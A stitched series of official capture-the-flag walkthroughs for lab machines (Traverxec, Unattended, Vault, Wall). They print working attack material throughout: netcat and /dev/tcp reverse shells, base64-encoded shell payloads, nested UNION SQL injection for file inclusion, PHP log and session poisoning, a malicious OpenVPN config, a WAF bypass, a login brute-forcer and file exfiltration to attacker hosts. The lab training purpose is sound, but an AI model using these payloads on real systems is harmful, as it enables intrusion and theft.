This returns a shell as root.

The root flag is located in /root/ .


Traverxec
5th April 2020 / Document No D20.100.63

Prepared By: TRX

Machine Author: jkr

Difficulty: Easy

Classification: Official
Synopsis
Traverxec is an easy Linux machine that features a Nostromo Web Server, which is vulnerable to
Remote Code Execution (RCE). The Web server configuration files lead us to SSH credentials,
which allow us to move laterally to the user david . A bash script in the user's home directory
reveals that the user can execute journalctl as root. This is exploited to spawn a root shell.

Skills Required
Enumeration
Metasploit
Password Cracking

Skills Learned
SSH Key Cracking
GTFOBins
Enumeration
Let's begin by running an Nmap scan.

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.165 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.165

The scan reveals ports 22 and 80 to be open. Nmap reports the http-server-header to be
nostromo 1.9.6 , which means that the box is running the Nostromo HTTP server.

Nostromo
Nostromo or nhttpd is an open source web server.

The webpage does not seem to show anything interesting, and a Gobuster scan failed to find
anything useful.
Foothold
Manual Exploitation
A bit of research yields that nostromo version 1.9.6 has a Remote Code Execution vulnerability.
Let's download the python exploit and execute it as follows.

python exploit.py 10.10.10.165 80 id

In order to get a reverse shell we can use Netcat. Let's start a Netcat listener on our local
machine.

nc -lvp 1234

Then execute the following command to get a shell.

python exploit.py 10.10.10.165 80 "nc -e bash 10.10.14.22 1234"

Metasploit
We can also exploit the vulnerability using the Metasploit module. Let's start Metasploit and try to
exploit it.

msfconsole
msf > use exploit/multi/http/nostromo_code_exec
msf > set rhosts 10.10.10.165
msf > set lhost 10.10.14.20
msf > run

The lhost and rhost values are set as required and the module is run.
The exploitation was successful and a shell is returned.

TTY
Next, a TTY shell can be spawned using python .

python -c 'import pty;pty.spawn("/bin/bash")'


Lateral Movement
Let's enumerate the system to find privilege escalation vectors. The /etc/passwd file reveals a
user named david . It also reveals that the Nostromo web root is /var/nostromo/ . The folder
/var/nostromo/conf contains the web server configuration files.

The file nhttpd.conf and .htpasswd seem interesting. The .htpasswd contains a password
hash, which is crackable, but it turns out to be of no use.

The nhttpd.conf file contains the following configuration.

The HOMEDIRS section determines that there might be a public_www folder in the user's home
directory. The home directory of the user is not readable, however public_www is found to be
accessible. The folder contains a protected-file-area sub-folder.

ls -al /home/david/public_www/
ls -al /home/david/public_www/protected-file-area

Enumeration of the folder reveals some backed up SSH keys. Let's transfer them to our box using
netcat. Run the following command locally to receive the file.

nc -lvp 1234 > backup.tgz

Next, run the following command on the server to complete the transfer.

nc 10.10.14.20 1234 < /home/david/public_www/protected-file-area/backup-ssh-


identity-files.tgz
Let's extract the files inside backup-ssh-identity-files.tgz .

tar -xvf backup-ssh-identity-files.tgz

The archive is found to contain SSH keys out of which, the private key id_rsa can be potentially
be used to login as david .

chmod 400 id_rsa


ssh -i id_rsa [email protected]

However, the private key is encrypted and needs a password. Let's use john to try and crack it.
First, extract the hash from the RSA key using ssh2john .

python3 /usr/share/john/ssh2john.py id_rsa > hash.txt

Next, crack it using john and the rockyou.txt wordlist.

john --wordlist=/home/root/Documents/rockyou.txt hash.txt


john --show hash.txt

This reveals the password to be hunter , which we use to SSH into the machine.

ssh -i id_rsa [email protected]

The user flag is located in /home/david/ .


Privilege Escalation
The user's home directory contains a folder called bin with the following contents.

cat server-stats.sh

The last line is interesting as it executes journalctl using sudo. Let's run the script to see the
output.

./servers-stats.sh

The script returns the last 5 lines of the nostromo service logs using journalctl. This is exploitable
because journalctl invokes the default pager, which is likely to be less . The less command
displays output on the user's screen and waits for user input once the content is displayed. This
can be exploited by running a shell command.

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

The command above will invoke less , after which we can run shell commands by prefixing ! .
Let's try executing /bin/bash .

!/bin/bash
The execution was successful and root shell is spawned. The root flag is located in /root/ .
Unattended
30​th​ May 2019 / Document No D19.100.34
Prepared By: MinatoTW
Machine Author: guly
Difficulty: ​Medium
Classification: Official

Page 1 / 25
SYNOPSIS
Unattended is a medium difficulty Linux box which needs a good knowledge of SQL and its
programming flaws. A path traversal on the web server can be exploited to get the source code
of the PHP pages. A SQL injection flaw is found, which can be exploited using nested unions to
gain LFI. The LFI can then be leveraged to RCE via log files or sessions file. Database access
allows the www user to change the configuration and inject commands into a cronjob running as
a user. The user is a member of the grub group, which has access to the kernel image through
which the root password can be obtained.

Skills Required Skills Learned

● Enumeration ● Union based SQL injection


● Code review ● LFI to RCE
● SQL ● Analyzing kernel image

Page 2 / 25
ENUMERATION

NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.126 | grep ^[0-9] | cut -d
'/'​ -f 1 | tr ​'\n'​ ​','​ | sed s/,$//)
nmap -sC -sV -p​$ports​ 10.10.10.126

We see HTTP and HTTPS open on their respective ports and the server is Nginx. Nmap found the
vhost to be www.nestedflanders.htb from the SSL certificate. Let’s add it to the hosts file.

echo​ ​"10.10.10.126 www.nestedflanders.htb"​ >> /etc/hosts

HTTP AND HTTPS

Browsing to HTTP page we see nothing but a single dot.

Page 3 / 25
The same behaviour is found on going to the HTTPS page. However, if we browse to the vhost
www.nestedflanders.htb found earlier we see the default apache page. Let’s run a gobuster with
common PHP file names from ​seclists​.

gobuster -t 50 -w Common-PHP-Filenames.txt -u
https://www.nestedflanders.htb/ -k

It finds index.php, looks like the server had two index files, index.html and index.php and first
preference was given to index.html which is normal behaviour. Browsing to /index.php we see a
new page.

Page 4 / 25
GOBUSTER

Running gobuster on the vhost with the normal wordlist.

gobuster -t 50 -w directory-list-2.3-medium.txt -u
https://www.nestedflanders.htb/ -k

Gobuster find a page /dev. Let’s check it out.

It says the dev site has been moved to its own server. One common misconfiguration in nginx is
the alias configuration. Named aliases are used to replace the alias with another file or directory
on the server. When an alias isn’t appended with a ‘/’ it leads to a path traversal vulnerability.
More information can be found ​here​.

Page 5 / 25
PATH TRAVERSAL

Let’s check if the server is vulnerable to path traversal. Append ../ to the URL and send the
request.

We get a 403 request which is normal as this might be the /var/ folder. Following this, if we add
html/ to the URL we should land at the index page.

It’s seen that we were able to access the index.html page by using the path traversal because the
server didn’t redirect us to the root directory. Let’s try to view index.php from here.

Adding index.php to the URL we see that we can access it directly without getting it executed.

Page 6 / 25
Download the file and open it up.

Looking at the top we find credentials for the database which can be saved for later. Let’s review
what the functions in the script do.

function​ ​getTplFromID​($conn) {
global​ $debug;
$valid_ids = ​array​ (​25​,​465​,​587​);
if​ ( (array_key_exists(​'id'​, $_GET)) && (intval($_GET[​'id'​]) ==
$_GET[​'id'​]) && (in_array(intval($_GET[​'id'​]),$valid_ids)) ) {

$sql = ​"SELECT name FROM idname where id =


'"​.$_GET[​'id'​].​"'"​;

} ​else​ {
$sql = ​"SELECT name FROM idname where id = '25'"​;
}
if​ ($debug) { ​echo​ ​"sqltpl: $sql<br>\n"​; }

$result = $conn->query($sql);
if​ ($result->num_rows > ​0​) {
while​($row = $result->fetch_assoc()) {
$ret = $row[​'name'​];
}
} ​else​ {
$ret = ​'main'​;
}
if​ ($debug) { ​echo​ ​"rettpl: $ret<br>\n"​; }
return​ $ret;

Page 7 / 25
The first function getTplFromID takes in the value for ID from the GET parameter id. There’s an
array of valid IDs 25, 465, 587 which from the pages selected are main, about and contact
templates. The script checks if the ID is valid else the default ID is set to 25. Then it uses the id to
select the template name from the idname table. Once the query is executed the template name
is returned, or else the template main is returned. Looking at the second function:

function​ ​getPathFromTpl​($conn,$tpl) {
global​ $debug;
$sql = ​"SELECT path from filepath where name = '"​.$tpl.​"'"​;
if​ ($debug) { ​echo​ ​"sqlpath: $sql<br>\n"​; }
$result = $conn->query($sql);
if​ ($result->num_rows > ​0​) {
while​($row = $result->fetch_assoc()) {
$ret = $row[​'path'​];
}
}
if​ ($debug) { ​echo​ ​"retpath: $ret<br>\n"​; }
return​ $ret;
}

The getPathFromTpl function takes in the template as the parameter. It then selects the path of
the template file which is stored in the filepath table.

$tpl = getTplFromID($conn);
$inc = getPathFromTpl($conn,$tpl);
?>

Then the script calls both the functions to obtain the template requested by the user. Looking at
the functions we can guess the database schema to be like this:

Page 8 / 25
It could be that the column name is the foreign key to the Filepath table, and they could be in a
one-to-one relationship. This is confirmed in the PHP code where the page performs a query by
doing an inner join and selecting the id and name.

SQL INJECTION TO LFI

Our objective is to make the page include a file path supplied by us through the path column.
Looking at the PHP code it’s pretty clear that there is no filtering in place. So we can inject SQL
queries in the URL parameter. Let’s try to replicate this on a local mysql installation.

apt install mysql-client mysql-server


mysql
create database unattended
use unattended

Once the database is created go ahead and create tables to replicate the box.

create table filepath ( name varchar(20) primary key, path varchar(100));


create table idname ( name varchar(20) , id int primary key, foreign key (
name) references filepath(name));

Then insert the values into the tables.

mysql> insert into filepath(name, path) values (​'main'​,


'/var/www/html/main.php'​) ;
mysql> insert into filepath(name, path) values (​'contact'​,
'/var/www/html/contact.php'​) ;
mysql> insert into filepath(name, path) values (​'about'​,
'/var/www/html/about.php'​) ;
mysql> insert into idname values ( ​'main'​, 25);
mysql> insert into idname values ( ​'contact'​, 465);
mysql> insert into idname values ( ​'about'​, 587);

Page 9 / 25
Now the tables are set up almost like the actual database.

Let’s try to inject it now. The page takes the id parameter from the get request to select the
template name. We can abuse the UNION operator to achieve this. Using the UNION operator we
can select any string along with the template name. For example:

select name from idname ​where​ id = '​ 25'​ union select '​ HTB'​ ;
select name from idname w​ here​ id = '​ 25'​ union select '​ HTB'​ LIMIT 1,1 ;

It’s seen we were able to select HTB instead of “main” by abusing UNION and LIMIT.

Page 10 / 25
Let’s see how we can do the same with the filepath table.

select path from filepath ​where​ name = ​'main'​ union select ​'/etc/passwd'
LIMIT 1,1;

We crafted a query to select the passwd file instead of the path to main.php. Now we just need to
combine both these queries to create our injection payload. The final payload will look something
like this:

25​' union select "main'​ union select ​'/etc/passwd'​ LIMIT 1,1;​" LIMIT 1,1;

Let’s break it down. The entire payload first goes into the getTplFromID function which would
look like:

select name from idname ​where​ id = ​'25'​ union select ​"main' union select
'/etc/passwd' LIMIT 1,1;"​ LIMIT 1,1;

Resulting in:

Page 11 / 25
The selected query will now go to getPathFromTpl function, it’ll look like:

Using which we were able to nest the queries creating a nested UNION select. The final payload
to try on the web page is:

25'​ union select ​"main' union select '/etc/passwd' LIMIT 1,1;-- -"​ LIMIT
1,1;-- -

We need to add comments to ignore the rest of the query. Let’s now try this on the webpage.

https://www.nestedflanders.htb/index.php?id=25​' union select "main'​ union


select ​'/etc/passwd'​ LIMIT 1,1;-- -​" LIMIT 1,1;-- -

And we see the contents of the passwd file.

Page 12 / 25
FOOTHOLD

Now that we have LFI we can leverage it to RCE by using nginx log file poisoning. Usually the
access.log file logs the user-agent. We can change this using Burp and get RCE. The usual
location of the nginx access log is at /var/log/nginx/access.log.

https://www.nestedflanders.htb/index.php?id=25​' union select "main'​ union


select ​'/var/log/nginx/access.log'​ LIMIT 1,1;-- -​" LIMIT 1,1;-- -

We see the response containing the logs of the requests and user agents. Let’s change the user
agent to:

<?php​ system(​'whoami'​); ​?>

Page 13 / 25
Now urlencode the payload and send the request.

We see that we’re the www-data user. Let’s use a command for reverse shell now. To avoid bad
characters we need to encode the payload as base64 then executed it.

echo​ -n ​'bash -i >& /dev/tcp/10.10.16.32/4444 0>&1 &'​ | base64

Copy the output and set the user agent to:

<?php system(​'echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi80NDMgMD4mMQ==| base64 -d|
bash'​); ?>

Forward the request and start a listener. Sending the request once again should trigger the
reverse shell. However, we don’t get a shell. Let’s check the firewall rules to see what ports are
allowed.

Page 14 / 25
Change the User agent to:

<?php​ system(​'cat /etc/iptables/rules.v4'); ?>


<?php​ system(​'cat /etc/iptables/rules.v46'); ?>

Forward the request to see the output.

In the response we see that only ports 80 and 443 are allowed outbound. So, from here on we’ll
have to use only these two ports.

echo​ -n ​'bash -i >& /dev/tcp/10.10.14.16/443 0>&1 &'​ | base64


<?php system(​'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi80NDMgMD4mMSAm
| base64 -d | bash '​); ?>

Page 15 / 25
Send the request again and a shell should be received at the listener.

ALTERNATE METHOD

Another way to achieve RCE is through PHP session files. These files are usually stored at
/var/lib/php/sessions/sess_<PHPSESSID>. Let’s view them with:

https://www.nestedflanders.htb/index.php?id=25​' union select "main'​ union


select ​'/var/lib/php/sessions/sess_ep2cn0dtj0tkaa0spg7n0af087'​ LIMIT 1,1;--
-​" LIMIT 1,1;-- -

We see our session in the response. Let’s add a dummy cookie with PHP code so that we can
execute it.

Cookie: PHPSESSID=ep2cn0dtj0tkaa0spg7n0af087; PWN= ​<?php​ system(​'whoami'​)​?>

And we see the output of whoami command.

Page 16 / 25
Note: Make sure there’s no ‘;’ in the payload as it might break the cookie.

Now let’s get a reverse shell like earlier. Change the cookie to:

Cookie: PHPSESSID=ep2cn0dtj0tkaa0spg7n0af087; PWN= ​<?php​ system(​"bash -c


'bash -i >& /dev/tcp/10.10.16.32/443 0>&1'"​)​?>

Send the request and start a listener. Then resend it to trigger the shell.

And we have a shell on the other side.

Page 17 / 25
As there’s no python or python3 on the box we can use the script command to get a pty shell.

script -qc /bin/bash /dev/​null

Page 18 / 25
LATERAL MOVEMENT

Now that we have a shell let’s look into the database by using the credentials from earlier.

mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e -D neddy

Looking at the tables we see config tables. Let’s look at the data.

select * from config;

There are various kinds of values in the database, of which the “checkrelease” row sticks out.
There’s also a path for sendmail which can be changed in case a user executes it.

Maybe it's being used by some kind of cron to read and then execute the file. Let’s change it to a
reverse shell command.

update config ​set​ option_value = ​'bash -c "bash -i >&


/dev/tcp/10.10.14.16/443 0>&1"'​ ​where​ option_name = ​'checkrelease'​;

Page 19 / 25
And after a while a shell should be received.

Going back and looking at the table again we see that the path was replaced again.

Page 20 / 25
PRIVILEGE ESCALATION

ENUMERATION

Looking at the user groups, we see that he’s a member of the group “grub”. Looking at the
Debian ​documentation​ we see that grub isn’t a standard group.

Let’s see what files this group owns.

find / -group grub -ls 2>/dev/null

There’s just one file and it’s the kernel image. Let’s transfer this over. There’s no nc on the box
but we can use tcp file to transfer it.

cat /boot/initrd.img-4.9.0-8-amd64 > /dev/tcp/10.10.14.16/80


nc -lvp 80 > initrd.img-4.9.0-8-amd64 ​# locally

Wait for a while for the transfer to finish as it is a large file. Once complete, compare the MD5
hash of the files.

Page 21 / 25
INSPECTING KERNEL IMAGE

Looking at the file info we see that it’s a gzip compressed file.

This can be unpacked using cpio.

zcat initrd.img-4.9.0-8-amd64 | cpio -idmv

Using zcat we decompress the archive and then pipe it to cpio which copies the files from it.

Once done we should be left with the files and folders from the image. Let’s find strings like
“password” in all the files.

grep -R -n -i password . | grep -v Binary

This command will recursively search for all files with password in it and then ignore the binary
files.

In one of the results we see a comment by guly on line 300.

./scripts/​local​-top/cryptroot:300: # guly: we have to deal with lukfs


password sync when root changes her one

Let’s look at the ./scripts/local-top/cryptroot file.

Page 22 / 25
Jumping to line 300 we come across the comment and a command.

According to the comment the luks password is the same as the root password. The command:

/sbin/uinitrd c0m3s3f0ss34nt4n1 | ​$cryptopen

generates the password from the uinitrd binary and then passes it to the $cryptopen command
which can be found in the script.

It is the cryptsetup command which is used to open a Luks encrypted disk. So the root password
must the string obtained by running:

/sbin/uinitrd c0m3s3f0ss34nt4n1

Let’s try that. Go back to the folder with the extracted contents and run the command.

We receive a string “supercazzola”. Let’s try to su with that on the box.

It doesn’t work as expected.

Page 23 / 25
Let’s analyse what the binary is doing using strace which traces system calls made by a binary.

strace ./sbin/uinitrd c0m3s3f0ss34nt4n1

We see that the binary reads from /etc/hostname and then outputs the string based on it. So the
host on which it is executed must be a factor in determining the password. Let’s transfer the
binary to the box and try again.

nc -lvp 80 < ./sbin/uinitrd # locally


cat < /dev/tcp/10.10.14.16/80 > uinitrd
chmod +x uinitrd
./uinitrd c0m3s3f0ss34nt4n1

This time we get a different string.

Page 24 / 25
Let’s try to su with this.

And we have a root shell !

Page 25 / 25
Vault
3​rd​ April 2019 / Document No D19.100.12
Prepared By: egre55
Machine Author: nol0gz
Difficulty: ​Medium
Classification: Official

Page 1 / 13
SYNOPSIS
Vault is medium to hard difficulty machine, which requires bypassing host and file upload
restrictions, tunneling, creating malicious OpenVPN configuration files and PGP decryption.

Skills Required Skills Learned

● Basic knowledge of Web application ● Creating malicious OpenVPN


enumeration techniques configuration files
● Intermediate knowledge of Linux ● SSH port forwarding
● Bypassing port restrictions using ncat

Page 2 / 13
Enumeration

Nmap

masscan -p1-65535,U:1-65535 10.10.10.109 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports


ports=$(cat ports | awk -F ​" "​ ​'{print $4}'​ | awk -F ​"/"​ ​'{print $1}'​ | sort -n | tr ​'\n'
','​ | sed ​'s/,$//'​)
nmap -Pn -sV -sC -p​$ports​ 10.10.10.109

Nmap output reveals that SSH and an Apache web server are available. Visual inspection of the
website reveals some text about a service that is being offered.

Page 3 / 13
Wfuzz

Cewl is used to generate a wordlist based on words found on the site, and wfuzz finds the
directory "sparklays".

cewl http://10.10.10.109 | tr ​'[:upper:]'​ ​'[:lower:]'​ > vault.txt


wfuzz -u http://10.10.10.109/FUZZ -w vault.txt -R2 --hc 404

Navigating to this page results in a 403 Forbidden, so enumeration with wfuzz continues.

wfuzz -u http://10.10.10.109/sparklays/FUZZ -w /usr/share/dirb/wordlists/common.txt


-R2 --hc 404 --hl 11

Page 4 / 13
The page "admin.php", directory "design" and subdirectory "uploads" have been found.

After sending this request to Burp, and changing the Host header value to "localhost", the admin
page is accessible.

"Design Settings" links to "/sparkleys/design/design.html"

Page 5 / 13
Foothold (192.168.122.1)

Bypassing File Upload Restriction

The "Design Settings" page provides functionality to upload a logo, although there are
restrictions on the file extension. However, php5 extensions are permitted.

After uploading and executing a php reverse shell (e.g. in Kali


/usr/share/webshells/php/php-reverse-shell.php), a foothold on "Ubuntu" (192.168.122.1) is
received.

There is a user "dave", and enumeration reveals SSH credentials and other useful information on
their desktop.

SSH: ​dave:Dav3therav3123
Key: itscominghome
Server: 192.168.122.4

Page 6 / 13
SSH Port Forwarding

A netcat scan of 192.168.122.4 reveals that ports 22 and 80 are open.

nc -vz 192.168.122.4 1-100

SSH is used to forward port 80 on 192.168.122.4 to port 8000 locally.

Page 7 / 13
DNS (192.168.122.4)

Malicious OpenVPN Configuration File

The webpage contains functionality to edit and test an OpenVPN configuration file.

Wfuzz finds the file "notes".

This reveals that the .ovpn file has been chmod 777, and is editable by www-data.

Page 8 / 13
An informative blog post by Jacob Baines details the exploitation of OpenVPN configuration files.

https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d
38da

Using this as reference, the payload below is created, and after clicking "Test VPN", and reverse
shell is received as root@DNS, and the user flag on Dave’s desktop can be captured.

remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
nobind
up ​"/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/1337 0<&1 2>&1&'"

SSH credentials to access 192.168.122.4 are found in Dave’s home directory. Dave is able to run
any command as root using sudo.

dave:dav3gerous567

Page 9 / 13
Vault (192.168.5.2)

The file /var/log/auth.log is examined, and interesting nmap and ncat commands targeting
192.168.5.2 are visible.

Nmap reveals the closed ports 53 and 4444. Specifying either port 53 or 4444 as the source port
reveals that port 987 is open.

ncat (with source port set to 53) reveals that SSH is listening on port 987.

A ncat listener is stood up, to connect to 192.168.5.2 on port 987.

Page 10 / 13
ncat -l 4444 --sh-exec ​"ncat 192.168.5.2 987 -p 53"​ &

It is now possible to ssh to Vault as Dave using the password dav3gerous567, specifying port
4444.

Page 11 / 13
PGP Encrypted Root Flag

Enumeration of Dave’s home directory reveals a PGP encrypted root flag. GPG can be used to
decrypt this, and it is installed on all hosts. However, there are no keys on Vault or DNS. The ID of
the key used to encrypt the file is "D1EB1F03".

This key is available on the host "Ubuntu".

Page 12 / 13
A further ncat listener is established in order to transfer to the file from Vault to DNS using SCP.

This is then transferred to Ubuntu.

scp [email protected]:/home/dave/root.txt.gpg .

The file is successfully decrypted using the passphrase "itscominghome" and the root flag is
captured.

Page 13 / 13
Wall
05​th​ December 2019 / Document No D19.100.56
Prepared By: MinatoTW
Machine Author: askar
Difficulty: ​Medium
Classification: Official

Page 1 / 17
SYNOPSIS
Wall is a medium difficulty Linux machine running a vulnerable version of Centreon network
monitoring software, which can be accessed through HTTP Verb Tampering. The login page can
be brute-forced to gain Admin access, which is exploited to gain RCE. A compiled python file is
decompiled to extract user credentials This provides access to an SUID, resulting in a root shell.

Skills Required Skills Learned

● Enumeration ● HTTP Verb tampering


● Scripting ● WAF bypass
● Decompiling python code

Page 2 / 17
Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.157 | grep ^[0-9] | cut -d '/' -f 1


| tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.157

SSH and Apache are found to be running on their usual ports.

Page 3 / 17
Apache
Browsing to port 80, we come across the default Apache page.

Gobuster

Running gobuster with a few threads and PHP extension.

The pages aa.php and panel.php don’t seem to be significant. However, the /monitoring folder
requests authentication.

Page 4 / 17
Verb Tampering
It is possible to misconfigure Apache, such that authentication is only requested for a particular
method, leading to a basic authentication bypass. Start Burp and intercept the request to
/monitoring, then hit Ctrl+R to send it to Repeater. Change the request method to POST and send
the request.

The page didn’t return a “401 Unauthorized” error and is redirecting us to the Centreon login
page at /centreon, which means the bypass was successful.

Page 5 / 17
Centreon is a network monitoring software, which by default has the credentials ​admin /
centreon ​as referenced ​here​. However, trying those credentials results in authentication failure.

Looking at the request, we find that it uses a CSRF token, which means that we can’t bruteforce it
directly. The CSRF token can be found in a hidden field in the HTML source.

We can write a simple python script to automatically grab this token and authenticate. We can
start with the ​top-passwords-shortlist​ from seclists before attempting larger wordlists.

#!/usr/bin/python3
import​ requests
from​ bs4 ​import​ BeautifulSoup

Page 6 / 17
url = ​'http://10.10.10.157/centreon/index.php'
s = requests.session()

def​ ​sendRequests​(username, password):

page = s.get(url)
soup = BeautifulSoup(page.content, ​'html.parser'​)
token = soup.find(​'input'​, attrs = { ​'name'​ : ​'centreon_token'​ })[​'value'​]

data = { '​ useralias'​ : username, ​'password'​ : password, ​'submitLogin'​ :


'Connect'​, '​ centreon_token'​ : token }

response = s.post(url, data = data)

​if​ ​'incorrect'​ ​not​ ​in​ response.text:


print(​"Credentials found {}:{}"​.format(username, password))
break

with​ open(​'top-passwords-shortlist.txt'​) ​as​ wordlist:


​for​ word ​in​ wordlist:
password = word.rstrip()
print(​"[*] Trying {}"​.format(password))
sendRequests(​'admin'​,password)

The script uses BeautifulSoup to parse the page and extract the CSRF token, and then sends
login requests with passwords from the wordlist.

Page 7 / 17
The password for admin is revealed to be “password1”. Logging in and browsing to the “About”
page we find the version to be 19.04.

Foothold

CVE 2019-13024

The technical details about the vulnerability can be found ​here​. An attacker can inject OS level
commands due to a lack of sanitization in the “nagios_bin” input parameter while configuring
pollers. Click on the settings on the left side and go to Pollers > Pollers. An existing poller named
“Central” should be seen.

Click on the name to view the configuration settings, and then change the “Monitoring Engine
Binary” to “​id;​”.

Page 8 / 17
Next, click on “Save” at the bottom to save the configuration.

According to the blogpost, sending a POST request to


/centreon/include/configuration/configGenerate/xml/generateFiles.php

with the parameters poller, debug and generate should execute the binary. Let’s try that.

As expected, the “id” command executed successfully and the output was returned. Let’s try
executing a bash reverse shell encoded as base64 to avoid bad characters.

Page 9 / 17
The input command would be:

echo​ YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzQ0NDQgMD4mMQo=|base64 -d|bash;

Enter this command into the “Monitoring Engine Binary” input field.

However, clicking on save results in a “403 Foridden” error.

This means that there might be an additional protection or Web Application Firewall (WAF)
processing the input. Let’s try replacing spaces with ​${IFS} ​and resending the request.

echo​${IFS}​YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzQ0NDQgMD4mMQo=|base64​${IFS}​-d|b

Page 10 / 17
ash;

This time there was no error and sending a request to generateFiles.php should give us a shell.

CVE-2019-16405 / CVE-2019-17501

Centreon allows users to execute custom commands based on their preferences. Go to Settings
> Commands > Miscellaneous and click on “Add” to add a new command.

Enter “ps aux” into the “Command Line” field and the IP address to the box in the
$HOSTADDRESS$ field. Then click on the blue arrow on the right to execute the command on
the box.

Page 11 / 17
A new window opens and the process running on the box are listed. We didn’t receive a “403
Forbidden” error as the command was sent through the GET request while the WAF must be
configured to check only POST requests. This behaviour can be verified by clicking on “Save” at
the bottom, which should throw an error.

Let’s execute the base64 encoded shell from earlier.

The execution failed because the application escaped the pipes “\|” and converted it to a string.
Instead, we can try downloading a shell and executing it. Create a file with the contents:

bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

And then transfer it to the box using wget.

Page 12 / 17
wget 10.10.14.3/pwn -O /tmp/pwn

Next, execute /tmp/pwn using bash.

Clicking on the blue arrow should execute the command and return a shell like earlier.

Page 13 / 17
Lateral Movement

After enumerating the file system, we come across /opt/.shelby/backup.

The file is a compiled python file, which generally have .pyc extension.

Running the file with python just returns “Done”. We can encode the file into base64 and then
copy and decode it locally.

This can be decompiled using uncompyle6, which can be installed using pip.

Page 14 / 17
Now rename the file and use uncompyle to decompile it.

The resulting output is:

# uncompyle6 version 3.5.1


# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.3 (default, Oct 7 2019, 12:56:13)
# [GCC 8.3.0]
# Embedded file name: backup.py
# Compiled at: 2019-07-30 07:38:22
import​ paramiko
username = ​'shelby'
host = ​'wall.htb'
port = ​22
transport = paramiko.Transport((host, port))
password = ​''
password += chr(ord(​'S'​))
password += chr(ord(​'h'​))
password += chr(ord(​'e'​))
password += chr(ord(​'l'​))
password += chr(ord(​'b'​))
password += chr(ord(​'y'​))
password += chr(ord(​'P'​))
password += chr(ord(​'a'​))
password += chr(ord(​'s'​))
password += chr(ord(​'s'​))
password += chr(ord(​'w'​))
password += chr(ord(​'@'​))
password += chr(ord(​'r'​))
password += chr(ord(​'d'​))
password += chr(ord(​'I'​))
password += chr(ord(​'s'​))
password += chr(ord(​'S'​))

Page 15 / 17
password += chr(ord(​'t'​))
password += chr(ord(​'r'​))
password += chr(ord(​'o'​))
password += chr(ord(​'n'​))
password += chr(ord(​'g'​))
password += chr(ord(​'!'​))
transport.connect(username=username, password=password)
sftp_client = paramiko.SFTPClient.from_transport(transport)
sftp_client.put(​'/var/www/html.zip'​, ​'html.zip'​)
print​ ​'[+] Done !'
# okay decompiling backup.pyc

The script creates a password and then use it to transfer html.zip via SFTP. The password can be
extracted from the script by pasting the code into interpreter.

The output string can be used to SSH into the box as shelby.

Page 16 / 17
Privilege Escalation

After searching for SUID binaries, we find Screen 4.5.0 to be installed.

We come across come across ​this​ vulnerability for Screen 4.5.0. We can download and execute
the script on the box directly, as GCC is installed.

Once the transfer completes, make the file executable and run the exploit, which should result in
a root shell.

Page 17 / 17

You might also like